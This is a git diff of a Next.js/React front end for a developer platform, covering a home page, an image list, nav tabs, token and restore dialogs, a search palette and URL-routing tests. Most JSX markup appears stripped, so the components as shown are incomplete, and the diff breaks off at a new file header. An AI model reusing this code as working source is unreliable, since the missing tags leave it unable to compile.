+/** A compact row for a workspace or an environment: what it is, whose it is, how + * it is doing. The link goes to the owner's list rather than the thing itself — + * this page is a way back into work, and the list is where the actions live. */ +function ThingRow({ name, owner, href, badge }: { name: string; owner: string; href: string; badge: React.ReactNode }) { return ( - - - +
  • + + {name} + + {owner} + + {badge} + +
    • ); } -function FeedItem({ event, owner }: { event: FeedEvent; owner: string }) { +function Empty({ children }: { children: React.ReactNode }) { return ( -
  • - -
    -

    - {event.actor && {event.actor.login} } - {event.title} - in - - {event.repo} - - {event.ref && ( - <> - · - {event.ref} - - )} -

    +

    + {children} +

    + ); +} - {event.commits && ( -
      - {event.commits.map((c) => ( -
    • - {c.sha} - {c.message} -
      • - ))} -
    - )} +/** The caption every block on this page is headed with. Only the blocks use it — + * the day labels inside the feed are deliberately quieter, so the eye counts + * three sections rather than three plus however many days the feed spans. */ +function Caption({ children }: { children: React.ReactNode }) { + return ( +

    + {children} +

    + ); +} - {event.detail && ( -

    {event.detail}

    - )} -
    - {event.when} -
    • +function More({ href, cta }: { href: string; cta: string }) { + return ( + + {cta} + ); } -/** Home is the team's feed: what happened across every repo, environment and - * workspace, newest first, grouped by day. The rail carries the current state - * the feed is changing — repos and environments — so cause and effect share a - * screen. */ -export function Home({ session }: { session: NonNullable }) { +function SectionHead({ title, href, cta }: { title: string; href: string; cta: string }) { return ( - -
    -
    -
    -
    -

    - What’s happening in {session.user.owner}’s team -

    - - - All - Pushes - Deploys - Pipelines - - -
    +
    + {title} + +
    + ); +} -
    - {DAYS.map((day) => { - const events = FEED.filter((e) => e.day === day); - if (events.length === 0) return null; - return ( -
    -

    - {day} -

    -
      - {events.map((e) => )} -
    -
    - ); - })} -
    -
    +/** Home is one namespace's cockpit — a team's or a person's own handle, the same + * shape either way: the work that can be picked up right now, then what has + * happened in it, with the repos in the rail so cause and effect share a screen. + * The feed grows in place (`RecentActivity`); a landing page is not the + * place to slice by event kind. */ +export function Home({ + owner, + title, + subtitle, + canSwitch, + members, + repos, + workspaces, + environments, + events, +}: { + owner: string; + title: string; + subtitle: string; + /** A team has a public half to switch to; a person's own handle has none. */ + canSwitch: boolean; + /** Set only for a team — it is what the rail's Team block counts. */ + members?: number; + repos: ApiRepo[]; + workspaces: ApiWorkspace[]; + environments: ApiEnvironment[]; + events: ApiEvent[]; +}) { + return ( + <> +
    +
    +

    {title}

    +

    {subtitle}

    +
    + {canSwitch && ( +
    + +
    + )} +
    - -
    -
    -     + )} + +
    + ); } diff --git a/web/apps/web/src/components/app/image-list.tsx b/web/apps/web/src/components/app/image-list.tsx new file mode 100644 index 00000000..ab510ac9 --- /dev/null +++ b/web/apps/web/src/components/app/image-list.tsx @@ -0,0 +1,116 @@ +"use client"; + +import { useMemo, useState } from "react"; +import Link from "next/link"; +import { Check, Copy, Package, Search } from "lucide-react"; +import type { ImageSummary } from "@/lib/browse"; +import { cn } from "@/lib/utils"; +import { useCopy } from "@/lib/use-copy"; +import { when } from "@/lib/time"; +import { Input } from "@/components/ui/input"; + +/** An owner's pushed images, filtered the same way repo-list filters repos: locally, + * live, by name — the whole list is already here, so a round trip per keystroke + * would be slower and no more correct. There is no create button — an image exists + * because it was pushed, so the empty state is the `docker push` line that makes + * one, not a form. */ +export function ImageList({ owner, host, images }: { owner: string; host: string; images: ImageSummary[] }) { + const [q, setQ] = useState(""); + + const shown = useMemo(() => { + const needle = q.trim().toLowerCase(); + if (!needle) return images; + return images.filter((img) => img.name.toLowerCase().includes(needle)); + }, [images, q]); + + if (images.length === 0) { + return ( +
    +

    No images yet

    +

    + Images show up here once you push one. From wherever you build: +

    +
    + + ${host}/${owner}/:latest`} /> + :latest`} /> +
    +
    + ); + } + + return ( + <> +
    +
    + + setQ(e.target.value)} + placeholder="Filter images" + aria-label="Filter images" + className="h-8 pl-8 text-sm2" + /> +
    + + {images.length} {images.length === 1 ? "image" : "images"} + +
    + + {shown.length === 0 ? ( +

    + Nothing matches that. +

    + ) : ( +
      + {shown.map((img) => ( +
    • + + + + {img.name} + + {img.updated_ms === null ? "Updated unknown" : `Updated ${when(img.updated_ms)}`} + {" · "} + {img.manifests} {img.manifests === 1 ? "manifest" : "manifests"} + + + + + + +
      • + ))} +
    + )} + + ); +} + +export function CopyLine({ value, compact }: { value: string; compact?: boolean }) { + const { copied, copy } = useCopy(1500); + return ( +
    + {value} + +
    + ); +} diff --git a/web/apps/web/src/components/app/nav-tabs.tsx b/web/apps/web/src/components/app/nav-tabs.tsx index fb2cb8f4..ccd83e2c 100644 --- a/web/apps/web/src/components/app/nav-tabs.tsx +++ b/web/apps/web/src/components/app/nav-tabs.tsx @@ -14,6 +14,10 @@ export type NavTab = { count?: number; /** Pushed to the far end of the row (Settings). */ end?: boolean; + /** Active only on its own URL, never on a child. `end` already implies this, but it + * also moves the tab to the far right — a tab that needs one and not the other + * (Home, whose href is a prefix of every other section) needs its own flag. */ + exact?: boolean; }; const useIsoLayoutEffect = typeof window === "undefined" ? useEffect : useLayoutEffect; @@ -29,9 +33,14 @@ export function NavTabs({ tabs, back, className, + activeHref, "aria-label": ariaLabel, }: { tabs: NavTab[]; + /** Drives the underline from something other than the path — a filter in the + * query string, say. Without it the row reads the URL, which is right for + * navigation and wrong for a filter, since every filter shares one path. */ + activeHref?: string; /** The list this row's subject came from. Drawn as a labelled arrow at the start * of the row — same chip as a tab, so it sits on the same baseline. */ back?: { href: string; label: string }; @@ -43,13 +52,14 @@ export function NavTabs({ // and a page that named the wrong one — or none — quietly highlighted nothing. const pathname = usePathname(); const active = useMemo(() => { + if (activeHref !== undefined) return tabs.find((t) => t.href === activeHref)?.label; const matches = tabs - .filter((t) => pathname === t.href || (!t.end && pathname.startsWith(`${t.href}/`))) + .filter((t) => pathname === t.href || (!t.end && !t.exact && pathname.startsWith(`${t.href}/`))) // The longest matching href wins, so `/o/r/settings` picks Settings rather // than the `/o/r` tab that is also a prefix of it. .sort((a, b) => b.href.length - a.href.length); return matches[0]?.label; - }, [pathname, tabs]); + }, [pathname, tabs, activeHref]); const nav = useRef(null); const [bar, setBar] = useState<{ left: number; width: number } | null>(null); @@ -77,9 +87,15 @@ export function NavTabs({ href={back.href} className="group relative mr-2 flex h-11 items-center px-1 text-sm2 text-muted-foreground outline-none transition-colors hover:text-foreground" > - + {/* Icon only: the row it returns to is named right next to it in the + crumb, so a text label said the same thing twice. The label lives on + for screen readers and the hover title. */} + - {back.label} + {back.label} diff --git a/web/apps/web/src/components/app/new-repo-form.tsx b/web/apps/web/src/components/app/new-repo-form.tsx index c3dfff2d..603ab89d 100644 --- a/web/apps/web/src/components/app/new-repo-form.tsx +++ b/web/apps/web/src/components/app/new-repo-form.tsx @@ -4,9 +4,10 @@ import { useActionState } from "react"; import { Loader2, Lock, Globe } from "lucide-react"; import { Button } from "@/components/ui/button"; import { Input } from "@/components/ui/input"; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; import { FieldLabel } from "@/components/auth/auth-card"; import type { SwitcherOwner } from "@/components/app/team-switcher"; -import { create, type NewRepoState } from "@/app/(app)/new-repo/actions"; +import { create, type NewRepoState } from "@/app/(shell)/new-repo/actions"; /** Visibility is two radios rather than a switch: the difference is not a degree * of one thing, and each option says what it means in its own words. Private is @@ -57,16 +58,17 @@ export function NewRepoForm({ owners, defaultOwner }: { owners: SwitcherOwner[];
    Owner
    - + {/* Borderless: the frame around owner / name is the one control's border. */} + / (createToken, null); - const [copied, setCopied] = useState(false); - const revealed = Boolean(state?.token); - - + // The body is remounted on every close. Its action state — the secret — would otherwise + // outlive the dialog and greet the next open with "Token created" and the same value, + // which "will not be shown again" had just promised was gone. + const [gen, setGen] = useState(0); return ( - { setOpen(next); if (!next) setCopied(false); }}> + { + setOpen(o); + if (!o) setGen((g) => g + 1); + }} + > - - {!revealed ? ( -
    - - New personal access token - It can clone and push in one namespace, and you will see it once. - + setOpen(false)} /> +
    + ); +} + +function Body({ owners, defaultOwner, close }: { owners: SwitcherOwner[]; defaultOwner: string; close: () => void }) { + const { copied, copy } = useCopy(); + const [state, action, pending] = useActionState(createToken, null); + const revealed = Boolean(state?.token); + // Once revealed, Escape and a click outside must not close it either: the dialog is the only + // place the token will ever be shown, so leaving is a deliberate act — the one button. + const stayOpen = (e: Event) => { if (revealed) e.preventDefault(); }; -
    + return ( + + {!revealed ? ( + + + New personal access token + It can clone and push in one namespace, and you will see it once. + + +
    +
    + Name + +
    + {owners.length > 1 && (
    - Name - + Namespace +
    - {owners.length > 1 && ( -
    - Namespace - -
    - )} -
    - {owners.length < 2 && } + )} +
    + {owners.length < 2 && } - {state?.error &&

    {state.error}

    } + {state?.error &&

    {state.error}

    } - - - - - - ) : ( -
    - - Token created - - Copy {state?.name} now. For your security it will not be shown again. - - + + + + + + ) : ( +
    + + Token created + + Copy {state?.name} now. For your security it will not be shown again. + + -
    - e.currentTarget.select()} aria-label="Token" - className="h-full min-w-0 flex-1 rounded-none border-0 bg-transparent px-3 font-mono text-caption focus-visible:ring-0" /> - -
    +
    + e.currentTarget.select()} aria-label="Token" + className="h-full min-w-0 flex-1 rounded-none border-0 bg-transparent px-3 font-mono text-caption focus-visible:ring-0" /> + +
    -

    - - Treat it like a password. Anyone holding it can clone and push in that namespace. -

    +

    + + Treat it like a password. Anyone holding it can clone and push in that namespace. +

    - - - -
    - )} - -
    + + + +
    + )} + ); } diff --git a/web/apps/web/src/components/app/not-yet.tsx b/web/apps/web/src/components/app/not-yet.tsx new file mode 100644 index 00000000..542ba52d --- /dev/null +++ b/web/apps/web/src/components/app/not-yet.tsx @@ -0,0 +1,12 @@ +/** A page for something that does not exist yet, saying so. Honest and blank beats + * a mock-up that invites clicks which go nowhere. */ +export function NotYet({ title, children }: { title: string; children: React.ReactNode }) { + return ( +
    +

    {title}

    +

    + {children} +

    +
    + ); +} diff --git a/web/apps/web/src/components/app/owner-select.tsx b/web/apps/web/src/components/app/owner-select.tsx index f9f826ca..f75bd4cb 100644 --- a/web/apps/web/src/components/app/owner-select.tsx +++ b/web/apps/web/src/components/app/owner-select.tsx @@ -1,6 +1,7 @@ "use client"; import type { SwitcherOwner } from "@/components/app/team-switcher"; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from "@/components/ui/select"; /** Which namespace a credential acts in. * @@ -20,15 +21,15 @@ export function OwnerSelect({ }) { if (owners.length < 2) return ; return ( - + ); } diff --git a/web/apps/web/src/components/app/passkeys-section.tsx b/web/apps/web/src/components/app/passkeys-section.tsx index 0243101e..df6aefdb 100644 --- a/web/apps/web/src/components/app/passkeys-section.tsx +++ b/web/apps/web/src/components/app/passkeys-section.tsx @@ -5,6 +5,7 @@ import { useRouter } from "next/navigation"; import { startRegistration } from "@simplewebauthn/browser"; import { Fingerprint, Loader2, Plus, Trash2 } from "lucide-react"; import { Button } from "@/components/ui/button"; +import { DeleteForm } from "@/components/app/delete-form"; import { beginPasskeyRegistration, finishPasskeyRegistration, removePasskey } from "@/app/(auth)/passkey/actions"; import type { ApiPasskey } from "@/lib/api"; @@ -74,12 +75,11 @@ export function PasskeysSection({ passkeys }: { passkeys: ApiPasskey[] }) {
    {p.name}
    {p._id.slice(0, 24)}…
    -
    - + - +
    ))} diff --git a/web/apps/web/src/components/app/recent-activity.tsx b/web/apps/web/src/components/app/recent-activity.tsx new file mode 100644 index 00000000..5c08a050 --- /dev/null +++ b/web/apps/web/src/components/app/recent-activity.tsx @@ -0,0 +1,79 @@ +"use client"; + +import { useState, useTransition } from "react"; +import { Loader2 } from "lucide-react"; +import { ActivityFeed } from "@/components/app/activity-feed"; +import { Button } from "@/components/ui/button"; +import { moreActivity } from "@/app/(shell)/[owner]/(org)/activity-actions"; +import type { ApiEvent } from "@/lib/api"; + +/** The feed's ceiling on the api (`FEED_EVENTS_MAX`): asking for more is clamped + * there, so the button stops once it has asked for this. Kept in step with the + * clamp in `activity-actions.ts` by hand — an action file cannot export a constant. */ +const ACTIVITY_MAX = 100; + +function group(events: ApiEvent[]) { + const now = Date.now() / 1000; + const day = 24 * 60 * 60; + const buckets: { label: string; events: ApiEvent[] }[] = [ + { label: "Today", events: [] }, + { label: "Yesterday", events: [] }, + { label: "Earlier", events: [] }, + ]; + for (const e of events) { + const age = now - e.at; + buckets[age < day ? 0 : age < 2 * day ? 1 : 2].events.push(e); + } + return buckets.filter((b) => b.events.length > 0); +} + +/** The home feed, grouped by day, growing in place. There is no activity page + * any more: the feed lives here, and "Load more" widens it (`moreActivity`) + * rather than sending the reader somewhere else. The button disappears once a + * read comes back short or the api's ceiling has been asked for. */ +export function RecentActivity({ owner, initial, step }: { owner: string; initial: ApiEvent[]; step: number }) { + const [events, setEvents] = useState(initial); + const [limit, setLimit] = useState(step); + const [done, setDone] = useState(initial.length < step); + const [pending, start] = useTransition(); + const days = group(events); + + const more = () => + start(async () => { + const next = Math.min(limit + step, ACTIVITY_MAX); + const got = await moreActivity(owner, next); + // A short read is the end of the feed; a full one at the ceiling is too. + setEvents(got.length > events.length ? got : events); + setLimit(next); + setDone(got.length < next || next >= ACTIVITY_MAX); + }); + + if (days.length === 0) { + return ( +
    +

    Nothing here yet

    +

    + Push a commit or open a change and it will show up here. +

    +
    + ); + } + + return ( +
    + {days.map((d) => ( +
    +

    {d.label}

    + +
    + ))} + {!done && ( +
    + +
    + )} +
    + ); +} diff --git a/web/apps/web/src/components/app/repo-list.tsx b/web/apps/web/src/components/app/repo-list.tsx index 9a919f5f..89283f30 100644 --- a/web/apps/web/src/components/app/repo-list.tsx +++ b/web/apps/web/src/components/app/repo-list.tsx @@ -9,8 +9,10 @@ import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs"; import type { ApiRepo } from "@/lib/api"; import { when } from "@/lib/time"; -/** `.kloudlite` holds how the team is configured, so it is drawn as what it is - * rather than as an ordinary repo. */ +/** Repos that hold how the team is configured rather than someone's code — drawn + * as what they are rather than as ordinary repos. */ +const SYSTEM_REPOS = [".kloudlite", ".profile"]; + function RepoIcon({ system }: { system: boolean }) { const cls = "size-4 shrink-0"; return system @@ -25,7 +27,7 @@ function RepoIcon({ system }: { system: boolean }) { * Every row is the same height whether or not it has a description — the second * line always exists, because a list whose rows change height as you read down * it reads as broken rather than as sparse. */ -export function RepoList({ owner, repos }: { owner: string; repos: ApiRepo[] }) { +export function RepoList({ owner, repos, readOnly }: { owner: string; repos: ApiRepo[]; readOnly?: boolean }) { const [q, setQ] = useState(""); const [scope, setScope] = useState<"all" | "public" | "private">("all"); @@ -60,7 +62,7 @@ export function RepoList({ owner, repos }: { owner: string; repos: ApiRepo[] })
    setScope(v as typeof scope)}> - {(["all", "public", "private"] as const).map((s) => ( + {(readOnly ? (["all", "public"] as const) : (["all", "public", "private"] as const)).map((s) => ( {s} {counts[s]} @@ -68,9 +70,12 @@ export function RepoList({ owner, repos }: { owner: string; repos: ApiRepo[] }) ))} - + {/* A public list has nothing to create into and no private scope to show. */} + {!readOnly && ( + + )}
    {repos.length === 0 ? ( @@ -79,9 +84,11 @@ export function RepoList({ owner, repos }: { owner: string; repos: ApiRepo[] })

    Create one and push to it, or add it as a remote to something you already have.

    - + {!readOnly && ( + + )}
    ) : shown.length === 0 ? (

    @@ -95,7 +102,7 @@ export function RepoList({ owner, repos }: { owner: string; repos: ApiRepo[] }) href={`/${r.owner}/${r.name}`} className="flex items-start gap-4 px-5 py-4 transition-colors hover:bg-muted/50" > - + {r.name} diff --git a/web/apps/web/src/components/app/restore-dialog.tsx b/web/apps/web/src/components/app/restore-dialog.tsx new file mode 100644 index 00000000..7bc09d83 --- /dev/null +++ b/web/apps/web/src/components/app/restore-dialog.tsx @@ -0,0 +1,48 @@ +"use client"; + +import { useActionState } from "react"; +import { useDialogUntilSuccess } from "@/lib/use-dialog-until-success"; +import { Loader2, RotateCcw } from "lucide-react"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { + Dialog, DialogContent, DialogDescription, DialogFooter, DialogHeader, DialogTitle, DialogTrigger, +} from "@/components/ui/dialog"; +import { + restoreWorkspace, type WsActionState, +} from "@/app/(shell)/[owner]/(org)/workspaces/actions"; + +/** A row on a workspace's own snapshots page (`workspaces/[id]/snapshots`). Builds a NEW + * workspace grafted onto this exact commit, not the source's current tip — see + * `crates/workspaces/src/api.rs::restore_ws`. Restoring in place is deliberately not offered. + * + * Only reachable from the owner's own workspace row: a workspace's snapshots are that person's + * undo history, and the api scopes the lookup to volumes under their own owner label, so a + * teammate asking for the id gets the same 404 a stranger does. */ +export function RestoreDialog({ owner, snapshotId }: { owner: string; snapshotId: string }) { + const [state, action, pending] = useActionState(restoreWorkspace, null); + const [open, setOpen] = useDialogUntilSuccess(state); + return ( +

    + + + + +
    + + Restore snapshot + A new workspace, grafted onto this exact snapshot. + + + + + {state?.error &&

    {state.error}

    } + + + + +
    +     +     + ); +} diff --git a/web/apps/web/src/components/app/search-dialog.tsx b/web/apps/web/src/components/app/search-dialog.tsx new file mode 100644 index 00000000..a0751772 --- /dev/null +++ b/web/apps/web/src/components/app/search-dialog.tsx @@ -0,0 +1,103 @@ +"use client"; + +import { useEffect, useState } from "react"; +import { Globe, Lock, Package, Settings, SquareCode } from "lucide-react"; +import { + CommandDialog, + CommandEmpty, + CommandGroup, + CommandInput, + CommandItem, + CommandList, + CommandSeparator, +} from "@/components/ui/command"; +import { sections, settingsSection } from "@/components/app/sections"; +import type { SwitcherOwner } from "@/components/app/team-switcher"; + +type PaletteRepo = { owner: string; name: string; public: boolean; description: string }; + +/** The ⌘K dialog body, loaded only once ⌘K is first opened — its chunk (cmdk + + * radix) and its repo fetch both cost nothing until then. */ +export function SearchDialog({ + owner, + owners, + open, + onOpenChange, + go, +}: { + owner: string; + owners: SwitcherOwner[]; + open: boolean; + onOpenChange: (open: boolean) => void; + go: (href: string) => void; +}) { + const [repos, setRepos] = useState(null); + + useEffect(() => { + if (!open) return; + let stale = false; + fetch(`/api/repos?owner=${encodeURIComponent(owner)}`) + .then((r) => (r.ok ? r.json() : [])) + .then((v) => { + if (!stale) setRepos(v); + }) + .catch(() => { + if (!stale) setRepos([]); + }); + return () => { + stale = true; + }; + }, [open, owner]); + + const mine = repos ?? []; + + return ( + + + + Nothing matches that. + + {mine.length > 0 && ( + + {mine.map((r) => ( + go(`/${owner}/${r.name}`)}> + {r.name} + + {r.public ? : } + {r.public ? "public" : "private"} + + + ))} + + )} + + + + {owners.length > 1 && ( + + {owners.filter((o) => o.slug !== owner).map((o) => ( + go(`/${o.slug}`)}> + {o.slug} + + ))} + + )} + + + {/* A person's own namespace has no team settings — the nav hides that tab for it, and + this list must not offer a page the nav does not. Profile settings are always here: + the avatar menu is the only other way to them. */} + {[ + ...sections(owner), + ...(owners.some((o) => o.personal && o.slug === owner) ? [] : [settingsSection(owner)]), + { href: "/settings", label: "Profile settings", icon: Settings }, + ].map(({ href, label, icon: Icon }) => ( + go(href)}> + {label} + + ))} + + + + ); +} diff --git a/web/apps/web/src/components/app/sections.ts b/web/apps/web/src/components/app/sections.ts index 13ea63b4..ee615b07 100644 --- a/web/apps/web/src/components/app/sections.ts +++ b/web/apps/web/src/components/app/sections.ts @@ -1,19 +1,32 @@ -import { House, Layers, Package, Settings, SquareCode, SquareTerminal, Zap, type LucideIcon } from "lucide-react"; +import { Container, House, Layers, Settings, SquareCode, SquareTerminal, Zap, type LucideIcon } from "lucide-react"; -/** Home, then the five parts of the product in the order the landing page names - * them. Section routes hang off the owner, so this is a function of it. */ -export function sections(owner: string): { href: string; label: string; icon: LucideIcon }[] { +/** One entry in the tab row. `exact` is what stops Home — whose href is a prefix of + * every other section — from staying active on all of them. */ +export type Section = { href: string; label: string; icon: LucideIcon; exact?: boolean }; + +/** Home — the namespace itself — then the five parts of the product in the order work moves through + * them: the code, the place it is worked on, the place it runs, what builds it, + * and what that build produced. Section routes hang off the owner, so this is a + * function of it. */ +export function sections(owner: string): Section[] { return [ - { href: "/", label: "Home", icon: House }, - { href: `/${owner}`, label: "Code Repos", icon: SquareCode }, - { href: `/${owner}/registries`, label: "Package Registries", icon: Package }, + // Home is the namespace itself, so it matches that URL exactly — without `exact` + // it is a prefix of every other section and would never stop being the active tab. + { href: `/${owner}`, label: "Home", icon: House, exact: true }, + { href: `/${owner}/repos`, label: "Code Repos", icon: SquareCode }, { href: `/${owner}/workspaces`, label: "Workspaces", icon: SquareTerminal }, + // No Snapshots tab: an environment's snapshots live on its own row (they are what that + // environment is), and a workspace's live on its row and nowhere else — they are that one + // person's undo history, not a shared listing. `snapshots` stays a RESERVED repo name. { href: `/${owner}/environments`, label: "Environments", icon: Layers }, { href: `/${owner}/ci`, label: "CI Triggers", icon: Zap }, + // The URL is still `registries`: renaming it would have to reserve `images` + // as a repo name, and that is a name someone will want for a repo. + { href: `/${owner}/registries`, label: "Container Images", icon: Container }, ]; } /** Team settings sit apart from the product sections — at the far end of the row. */ -export function settingsSection(owner: string): { href: string; label: string; icon: LucideIcon } { - return { href: `/${owner}/settings`, label: "Settings", icon: Settings }; +export function settingsSection(owner: string): Section { + return { href: `/${owner}/settings`, label: "Team settings", icon: Settings }; } diff --git a/web/apps/web/src/components/app/shell-context.tsx b/web/apps/web/src/components/app/shell-context.tsx new file mode 100644 index 00000000..e2a362a8 --- /dev/null +++ b/web/apps/web/src/components/app/shell-context.tsx @@ -0,0 +1,48 @@ +"use client"; + +import { createContext, useContext, useEffect, useState } from "react"; + +/** What the chrome needs about the subject being viewed and cannot work out from the URL: whether + * a repo is public, and what an environment is CALLED — its URL carries an id. Set by the layout + * underneath, which has already read it. */ +type RepoMeta = { visibility?: "public" | "private"; title?: string; archived?: boolean; badge?: string } | null; + +const Ctx = createContext<{ meta: RepoMeta; set: (m: RepoMeta) => void }>({ + meta: null, + set: () => {}, +}); + +export function ShellState({ children }: { children: React.ReactNode }) { + const [meta, set] = useState(null); + return {children}; +} + +export function useRepoMeta() { + return useContext(Ctx).meta; +} + +/** Renders nothing; tells the chrome about the repo underneath it. + * + * The shell stays mounted across every navigation — that is the whole point of + * it — so it cannot read a prop from a page that is being replaced beneath it. + * It is told instead, and told again when the repo changes. */ +export function SetRepoMeta({ visibility }: { visibility: "public" | "private" }) { + const { set } = useContext(Ctx); + useEffect(() => { + set({ visibility }); + return () => set(null); + }, [visibility, set]); + return null; +} + +/** The same, for a subject the URL names by id — an environment. `archived` is what drops its + * Live services tab: an archived environment runs nothing, so the tab would open a page that can + * only say so. */ +export function SetCrumbTitle({ title, archived = false, badge }: { title: string; archived?: boolean; badge?: string }) { + const { set } = useContext(Ctx); + useEffect(() => { + set({ title, archived, badge }); + return () => set(null); + }, [title, archived, badge, set]); + return null; +} diff --git a/web/apps/web/src/components/app/shell-nav.test.ts b/web/apps/web/src/components/app/shell-nav.test.ts new file mode 100644 index 00000000..041f27e1 --- /dev/null +++ b/web/apps/web/src/components/app/shell-nav.test.ts @@ -0,0 +1,40 @@ +import { expect, test } from "bun:test"; +import { place } from "./shell-nav"; + +/** The chrome decides what it is looking at from the URL alone. These are the six + * shapes that decision has to get right; the owner is the half that regressed. */ +const me = "ada"; + +test("the root is the signed-in person's own namespace", () => { + expect(place("/", me)).toEqual({ kind: "org", owner: "ada" }); +}); + +test("a root page names nobody's namespace, so it falls back to the person", () => { + expect(place("/settings", me)).toEqual({ kind: "org", owner: "ada" }); +}); + +test("a team's own page is the team's namespace, not the person's", () => { + expect(place("/team", me)).toEqual({ kind: "org", owner: "team" }); +}); + +test("a second segment that is not reserved names a repo in that owner", () => { + expect(place("/team/repo", me)).toEqual({ kind: "repo", owner: "team", repo: "repo" }); +}); + +test("a reserved second segment is a section of the team, not a repo", () => { + expect(place("/team/registries", me)).toEqual({ kind: "org", owner: "team" }); + expect(place("/team/repos", me)).toEqual({ kind: "org", owner: "team" }); +}); + +test("a third segment under registries is the image itself", () => { + expect(place("/team/registries/img/tags", me)).toEqual({ kind: "image", owner: "team", image: "img" }); +}); + +test("the environments list is a section of the owner, not a repo", () => { + expect(place("/team/environments", me)).toEqual({ kind: "org", owner: "team" }); +}); + +test("a third segment under environments is the environment itself, with its own tabs", () => { + expect(place("/team/environments/env-1", me)).toEqual({ kind: "env", owner: "team", env: "env-1" }); + expect(place("/team/environments/env-1/snapshots", me)).toEqual({ kind: "env", owner: "team", env: "env-1" }); +}); diff --git a/web/apps/web/src/components/app/shell-nav.tsx b/web/apps/web/src/components/app/shell-nav.tsx new file mode 100644 index 00000000..d16e541c --- /dev/null +++ b/web/apps/web/src/components/app/shell-nav.tsx @@ -0,0 +1,216 @@ +"use client"; + +import Link from "next/link"; +import { usePathname } from "next/navigation"; +import { NavTabs } from "@/components/app/nav-tabs"; +import { useRepoMeta } from "@/components/app/shell-context"; +import { sections, settingsSection } from "@/components/app/sections"; +import { TeamSwitcher, type SwitcherOwner } from "@/components/app/team-switcher"; +import { RESERVED } from "@/lib/reserved"; +import { Badge } from "@/components/ui/badge"; + +/** A repo tab, as the shell is given it: the icon is already rendered, because a + * component cannot cross from the server into here, and the href is a suffix + * because which repo it belongs to is only known from the URL. */ +export type RepoTabSpec = { suffix: string; label: string; icon: React.ReactNode; end?: boolean; exact?: boolean }; + +/** Pages that hang off the root rather than off an owner. A URL starting with one + * of these names nobody's namespace, so the chrome shows the person's own. */ +// ponytail: a person whose handle is one of these words would see the wrong crumb; `settings` is already refused as a handle, the other two are not +const ROOT_PAGES = ["settings", "new-repo", "new-team", "invite"]; + +/** Where the URL is, in the terms the chrome cares about. + * + * `/{owner}/{x}` is unambiguous because the names the namespace has spent — + * settings, activity, ci, and the rest — cannot be repo names; repo creation + * refuses them. So the second segment names a repo or it names a section, and + * the chrome can tell which without asking anyone. + * + * `/{owner}/registries/{image}` is a third place, one level deeper: `registries` + * is itself a reserved section (the Container Images list), so it is already + * caught by the `repo` branch above at two segments — the third segment is what + * tells an image page apart from the list page it hangs off of. + * + * The owner is the first segment whenever there is one. The shell is a layout + * that stays mounted across navigations, so it cannot be handed the owner by a + * page; reading the URL is the only way a team's pages get the team's chrome. */ +export function place(pathname: string, me: string) { + const parts = pathname.split("/").filter(Boolean); + const owner = parts[0] && !ROOT_PAGES.includes(parts[0]) ? parts[0] : me; + if (parts.length >= 3 && parts[1] === "registries") { + return { kind: "image" as const, owner, image: parts[2] }; + } + // Same shape one level deeper, for the same reason: `environments` is a reserved section, so + // two segments is the LIST and three is one environment — which has its own tabs and its own + // crumb, exactly as a repo or an image does. + if (parts.length >= 3 && parts[1] === "environments") { + return { kind: "env" as const, owner, env: parts[2] }; + } + if (parts.length >= 2 && !(RESERVED as readonly string[]).includes(parts[1])) { + return { kind: "repo" as const, owner, repo: parts[1] }; + } + return { kind: "org" as const, owner }; +} + +export function useOwner(me: string) { + return place(usePathname(), me).owner; +} + +export function ShellTabs({ + repoTabs, + imageTabs, + envTabs, + me, + className, +}: { + repoTabs: RepoTabSpec[]; + imageTabs: RepoTabSpec[]; + envTabs: RepoTabSpec[]; + /** The signed-in person's own handle: what the chrome falls back to at `/`. */ + me: string; + className?: string; +}) { + const at = place(usePathname(), me); + if (at.kind === "org") { + // A person's own namespace is not a team: it has no members, no roles and nothing to + // rename, so it gets no Settings tab. Their settings are at /settings, off the avatar. + // Showing the tab here was what made a fresh account look like it came with a team. + const own = at.owner === me; + const tabs = [...sections(at.owner), ...(own ? [] : [settingsSection(at.owner)])].map( + ({ href, label, icon: Icon, exact }, i, all) => ({ + href, + label, + icon: , + exact, + end: !own && i === all.length - 1, + }), + ); + return ; + } + if (at.kind === "image") { + const base = `/${at.owner}/registries/${at.image}`; + return ( + ({ href: `${base}${t.suffix}`, label: t.label, icon: t.icon, end: t.end }))} + back={{ href: `/${at.owner}/registries`, label: "Container Images" }} + className={className} + aria-label={at.image} + /> + ); + } + if (at.kind === "env") { + const base = `/${at.owner}/environments/${at.env}`; + // The row is the SAME for a live and an archived environment. The shell only learns + // "archived" after the page mounts, so a row that hides a tab on that signal painted both, + // then dropped one, and the underline jumped every time an archived environment was opened. + // A constant row slides; the Live services page says plainly that nothing is running. + return ( + ({ href: `${base}${t.suffix}`, label: t.label, icon: t.icon, end: t.end, exact: t.exact }))} + back={{ href: `/${at.owner}/environments`, label: "Environments" }} + className={className} + aria-label={at.env} + /> + ); + } + const base = `/${at.owner}/${at.repo}`; + return ( + ({ href: `${base}${t.suffix}`, label: t.label, icon: t.icon, end: t.end }))} + back={{ href: `/${at.owner}/repos`, label: "Repos" }} + className={className} + aria-label={at.repo} + /> + ); +} + +/** The list a repo or an image came from, as a crumb segment. */ +function SectionLink({ owner, label }: { owner: string; label: "Code Repos" | "Container Images" | "Environments" }) { + const s = sections(owner).find((x) => x.label === label)!; + const Icon = s.icon; + return ( + + + {s.label} + + ); +} + +function OwnerLink({ owner }: { owner: string }) { + return ( + + + {owner} + + ); +} + +/** The breadcrumb, which grows a segment inside a repo or an image. */ +export function ShellCrumb({ me, owners }: { me: string; owners: SwitcherOwner[] }) { + const at = place(usePathname(), me); + const meta = useRepoMeta(); + if (at.kind === "org") return ; + + const sep = /; + if (at.kind === "env") { + return ( + <> + + {sep} + + {sep} + + {/* The URL carries the ID; the NAME is what the page underneath knows. Until it says so, + the id is the honest thing to show. */} + {meta?.title ?? at.env} + + {/* The state rides in the crumb exactly as a repo's visibility does, so the page beneath + need not repeat the name in a title of its own. */} + {meta?.badge && {meta.badge}} + + ); + } + if (at.kind === "image") { + return ( + <> + + {sep} + + {sep} + + {at.image} + + + ); + } + + return ( + <> + + {sep} + + {sep} + + {at.repo} + {/* Only once the layout beneath has said so. A badge that guessed would + be worse than one that arrives a moment later. */} + {meta?.visibility && {meta.visibility}} + + + ); +} diff --git a/web/apps/web/src/components/app/skeleton.tsx b/web/apps/web/src/components/app/skeleton.tsx new file mode 